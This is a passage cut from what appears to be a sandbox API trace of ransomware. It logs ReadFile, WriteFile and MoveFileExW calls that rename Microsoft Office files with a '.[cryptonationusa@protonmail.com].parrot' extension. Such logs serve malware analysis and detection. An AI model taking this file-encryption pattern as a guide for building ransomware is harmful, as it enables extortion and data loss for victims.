Office\\Office14\\1033\\OUTLOOK.HXS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.420] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.420] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.422] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.422] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x277, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x277, lpOverlapped=0x0) returned 1 [0173.423] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.423] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.427] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.427] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.428] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.428] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcf, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcf, lpOverlapped=0x0) returned 1 [0173.428] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.428] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.432] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.432] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.433] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.433] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72, lpOverlapped=0x0) returned 1 [0173.433] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.434] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.438] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.438] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.439] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.439] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x71, lpOverlapped=0x0) returned 1 [0173.439] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.439] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.443] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.443] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.444] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.444] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x227, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x227, lpOverlapped=0x0) returned 1 [0173.444] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.444] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlperf.h"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlperf.h.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.448] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.448] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.463] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.463] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa87, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa87, lpOverlapped=0x0) returned 1 [0173.463] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.464] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlperf.ini"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlperf.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.468] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.468] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.472] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.472] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2b80, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2b80, lpOverlapped=0x0) returned 1 [0173.480] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.483] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.488] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.489] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.503] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.503] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd7a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd7a, lpOverlapped=0x0) returned 1 [0173.503] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.504] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\passport.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\passport.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.509] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.509] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.511] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.511] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd7a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd7a, lpOverlapped=0x0) returned 1 [0173.512] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.512] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pastel.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pastel.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.517] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.517] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.521] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.521] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14980, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x14980, lpOverlapped=0x0) returned 1 [0173.525] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.527] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.534] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.534] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.535] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.535] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x780, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x780, lpOverlapped=0x0) returned 1 [0173.536] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.536] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.541] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.541] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.543] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.543] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0173.618] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.618] WriteFile (in: hFile=0x284, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0173.621] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.621] WriteFile (in: hFile=0x284, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0173.624] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4cf37c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0173.624] CloseHandle (hObject=0x284) returned 1 [0173.625] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.633] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.633] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.644] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.644] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x290, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x290, lpOverlapped=0x0) returned 1 [0173.645] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.645] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.651] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.651] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.652] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.652] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd4, lpOverlapped=0x0) returned 1 [0173.652] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.652] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.660] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.660] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.661] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.661] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72, lpOverlapped=0x0) returned 1 [0173.661] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.662] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.666] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.666] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.667] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.667] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x71, lpOverlapped=0x0) returned 1 [0173.667] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.668] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.672] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.672] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.673] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.673] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0173.706] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.706] WriteFile (in: hFile=0x284, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0173.709] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.709] WriteFile (in: hFile=0x284, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0173.712] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x680255, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0173.712] CloseHandle (hObject=0x284) returned 1 [0173.712] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS.[cryptonationusa@protonmail.com].parrot" (normalized: 